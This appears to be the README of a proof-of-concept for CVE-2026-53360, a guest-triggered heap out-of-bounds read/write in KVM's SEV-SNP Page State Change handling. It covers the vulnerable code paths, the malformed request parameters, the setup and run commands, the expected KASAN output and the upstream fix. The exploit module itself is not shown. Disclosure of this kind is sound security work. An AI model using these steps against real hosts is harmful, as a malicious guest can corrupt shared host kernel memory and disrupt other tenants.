
PoC for CVE-2026-53360: guest-triggered heap out-of-bounds read/write in KVM SEV-SNP Page State Change (PSC) handling.
Proof of concept for a heap out-of-bounds read and write in KVM's SEV-SNP Page
State Change (PSC) handling. A malicious SEV-SNP guest makes the host kernel walk
a PSC entry array off the end of its slab allocation. That leaks the layout of
neighbouring kmalloc-cg-32 objects and writes a controlled small value into
them, and the guest can repeat it as often as it likes.
Full writeup: https://cyberstan.co.uk/sev-snp-oob/
| CVE | CVE-2026-53360 |
| Component | KVM SNP host support, arch/x86/kvm/svm/sev.c |
| Introduced | 9b54e248d264 (first KVM SNP PSC handling, May 2024, ~v6.10) |
| Fixed | db3f219 (mainline, May 2026, Cc: stable), tagged Fixes: 4af663c |
| Reported | [email protected], 8 April 2026 |
| Affected | SEV-SNP host path only. KVM does not enable PSC for plain SEV-ES guests. |
Any SEV-SNP guest can corrupt the host kernel's heap and read back information about its layout by sending a malformed PSC request. This is the guest to host direction: SEV-SNP is built to protect the guest from an untrusted host, but the host still has to defend itself against a malicious guest, and this handler does not.
This needs real SEV-SNP hardware. It cannot be reproduced on Intel, and nested virt will not give you an SNP guest.
Hardware:
*.metal,
Hetzner AX, and similar).Host kernel:
CONFIG_KASAN=y
CONFIG_KASAN_GENERIC=y
CONFIG_KVM=y
CONFIG_KVM_AMD=y
CONFIG_KVM_AMD_SEV=y
CONFIG_CRYPTO_DEV_SP_PSP=y
kvm_amd.sev=1 kvm_amd.sev_es=1 kvm_amd.sev_snp=1 kasan_multi_shot
cat /sys/module/kvm_amd/parameters/sev_snp # Y
ls /dev/sev # /dev/sev
Host userspace:
git clone https://github.com/AMDESE/qemu.git
cd qemu && git checkout snp-latest
mkdir build && cd build
../configure --target-list=x86_64-softmmu && make -j$(nproc)
Guest:
build-essential and
linux-headers-$(uname -r) installed so you can build the module in it.SEV-SNP guests talk to the host through the GHCB, a 4 KB shared page. A PSC
request sets SW_EXITCODE to SVM_VMGEXIT_PSC (0x80000010), points SW_SCRATCH
at a descriptor, and puts the descriptor length in SW_EXITINFO2.
The descriptor is a struct psc_buffer: an 8-byte header followed by an array of
8-byte entries. There is no explicit count field. The host processes entries from
hdr->cur_entry to hdr->end_entry, both guest controlled.
struct psc_hdr {
u16 cur_entry;
u16 end_entry;
u32 reserved;
} __packed; /* 8 bytes */
struct psc_entry {
u64 cur_page : 12;
u64 gfn : 40;
u64 operation : 4;
u64 pagesize : 1;
u64 reserved : 7;
} __packed; /* 8 bytes */
A GHCB v2+ guest is supposed to keep its scratch area inside the GHCB's 2032-byte
Shared Buffer, so the host can reuse its existing mapping. (2032 - 8) / 8 = 253
entries fit there, which is where the protocol maximum VMGEXIT_PSC_MAX_COUNT
(253) comes from. That number only makes sense when the buffer really is the
Shared Buffer.
If the guest points the scratch area outside the GHCB, the host cannot use its
mapping, so setup_vmgexit_scratch() allocates a separate buffer of the size the
guest asked for. SNP should never take this path, but nothing stops it:
scratch_va = kvzalloc(len, GFP_KERNEL_ACCOUNT); /* len == exit_info_2, guest-controlled */
len comes straight from the guest, and GFP_KERNEL_ACCOUNT puts the allocation
in the cgroup-accounted kmalloc-cg-N caches. Ask for exit_info_2 = 24 and you
get a 24-byte allocation in the 32-byte kmalloc-cg-32 slot: room for the header
plus two entries. Everything past entries[1] is another object's memory.
Then snp_begin_psc() checks the entry count against the protocol constant, not
against the buffer it actually allocated:
idx_end = hdr->end_entry;
if (idx_end >= VMGEXIT_PSC_MAX_COUNT) { /* checks 253, NOT the buffer size */
snp_complete_psc(svm, ...);
return 1;
}
for (idx = idx_start; idx <= idx_end; idx++) {
entry_start = entries[idx]; /* OOB once idx >= 2 */
...
}
With a 24-byte buffer only two entries exist, but the check allows end_entry up
to 252. Set it to 252 and the loop walks about 2 KB past the allocation, across
neighbouring slab objects.
Each step past the end reinterprets the next 8 bytes of slab memory as a
psc_entry and runs it through the PSC code. That gives three things:
entry.gfn and entry.operation out of memory the buffer never owned. This
is the slab-out-of-bounds read KASAN catches.KVM_HC_MAP_GPA_RANGE, the completion code writes back into the same OOB
slot: entries[idx].cur_page = entry.pagesize ? 512 : 1. One of two small
values into the low 12 bits of a word the guest picks, repeatable.SW_EXITINFO2 reports the index it stopped at. Bumping end_entry one at a
time leaks, slot by slot, whether adjacent memory decoded to a no-op or to
something that failed, which is enough to find object boundaries and tell zero
from non-zero.Each VMGEXIT re-allocates the scratch buffer, so repeated requests land in different freelist slots and let the guest sweep across neighbours rather than being stuck with one. Put together this yields heap layout disclosure, the constrained write above, and use-after-free across requests.
trigger.c is a guest kernel module. Load it inside an SEV-SNP guest and it
drives four stages against the host from a single insmod:
cur_page
into a zero neighbour and confirming a later request skips it.end_entry=200 and measures how far the OOB
read reaches before hitting non-zero data.entries[3..10] out of bounds, each of
which trips a KASAN report on the host.The module allocates a page, marks it decrypted with set_memory_decrypted(),
uses it as the scratch area, and hand-builds the GHCB PSC request. It exits with
-EAGAIN so it does not stay loaded.
Adjust the OVMF and disk paths to your setup:
qemu-system-x86_64 \
-enable-kvm -cpu EPYC-v4 \
-machine q35,confidential-guest-support=sev0,memory-backend=ram1 \
-object memory-backend-memfd,id=ram1,size=4G \
-object sev-snp-guest,id=sev0,cbitpos=51,reduced-phys-bits=1,policy=0x30000 \
-smp 4 -m 4G \
-bios OVMF_SNP.fd \
-drive file=guest.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22 \
-device virtio-net-pci,netdev=net0 \
-nographic
Copy trigger.c and Makefile into the guest, then:
make
insmod trigger.ko
The module checks for SEV-SNP via CPUID first and refuses to run anywhere else.
It runs its four stages and unloads itself (init returns -EAGAIN, so it never
stays resident).
On the host:
dmesg | grep -E "KASAN|BUG|snp_begin_psc"
Expected output:
BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x126/0x890
Read of size 8 at addr ffff888219ffb5e0 by task qemu-system-x86/2199
BUG: KASAN: slab-out-of-bounds in snp_begin_psc+0x468/0x890
Write of size 8 at addr ffff888351566648 by task qemu-system-x86/2199
The buggy address belongs to the object at ffff888XXXXXXXXX
which belongs to the cache kmalloc-cg-32 of size 32
A single insmod produced 73 KASAN reports on the test host (62
slab-out-of-bounds, 7 slab-use-after-free, 4 use-after-free), all against
kmalloc-cg-32. Test host: AMD EPYC 7443P, Ubuntu 24.04.4, kernel 6.11.11 with
KASAN, guest under AMDESE QEMU (snp-latest).
The upstream fix rejects any out-of-GHCB scratch area for GHCB v2 and later in
setup_vmgexit_scratch(), which pins the buffer to a fixed, known size so the
loop can never run off the end:
} else {
+ /* GHCB v2 requires the scratch area to be within the GHCB. */
+ if (to_kvm_sev_info(svm->vcpu.kvm)->ghcb_version >= 2)
+ goto e_scratch;
+
/*
* The guest memory must be read into a kernel buffer, so
* limit the size
Those four lines are db3f219. They landed as part of a larger series that also
bounds the entry count against the real buffer size and rereads the descriptor
once through READ_ONCE(), which closes an offset-into-the-buffer variant and a
time-of-check/time-of-use race in the same handler.
| File | Description |
|---|---|
trigger.c | Guest kernel module that drives the four PoC stages |
Makefile | Builds trigger.ko against the running guest kernel |
not an SEV-SNP guest: QEMU was not launched with sev-snp-guest, or host SNP
is off.SEV-SNP not supported: check /sys/module/kvm_amd/parameters/sev_snp,
the BIOS settings, and the boot params.LAUNCH_START failed: the PSP is not initialized. Check dmesg | grep psp
and CONFIG_CRYPTO_DEV_SP_PSP=y.CONFIG_KASAN=y and kasan_multi_shot on the host
cmdline.This corrupts host kernel heap memory, trips KASAN, and can crash the host. Run it only against a disposable test host you control, inside a VM you own. Do not run it against shared or production infrastructure.
db3f219 on linux-cve-announce)db3f219, author Mike Roth, reviewed by Tom Lendacky, committed by Paolo Bonzini9b54e248d264; fix tagged Fixes: 4af663ctrigger.c is GPL-2.0, matching its MODULE_LICENSE. See LICENSE.
LICENSEGPL-2.0, matching the module's MODULE_LICENSE |